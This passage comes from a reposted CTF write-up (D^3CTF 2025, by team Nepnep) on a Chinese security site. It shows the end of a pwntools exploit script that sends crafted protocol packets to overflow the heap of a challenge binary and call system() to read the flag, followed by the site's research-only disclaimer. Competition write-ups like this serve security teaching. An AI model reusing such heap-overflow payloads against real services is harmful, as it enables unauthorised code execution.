print(hex(exe.plt["system"]))    io.send(makeHeader(1180) + makeBeginReqBody(10) + header + (p8(0x13) + p8(0x13) + p32(0x31)*9+b'b'*2)*15 + p8(0) * (2 *2))    io.close()time.sleep(1)io = start()header = makeHeader(909000)print(hex(exe.plt["system"]))#断点打在ReadParams 观察堆状态找到0x30那个没有被free的 然后算下溢出大小排布下io.send(makeHeader(1180) + makeBeginReqBody(10) + header + (p8(0x13) + p8(0x13) +p32(0x31)*9+b'b'*2)*1 + p8(0) * (2 *2)+ p32(0xffffffff) + p32(0xffffffff)  + b"xff" * (4 * 2) +p32(0xff1)*44 +p32(0x00000031)*2+b" /111bi;cat /flag>&3" +p32(0) * 3 + p32(exe.plt["system"]))a=io.recv(4096)print(a)io.close()

原文始发于微信公众号(Nepnep):D^3CTF 2025 Writeup by Nepnep

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月5日08:27:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D^3CTF 2025 Writeup by Nepnephttp://cn-sec.com/archives/4134597.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息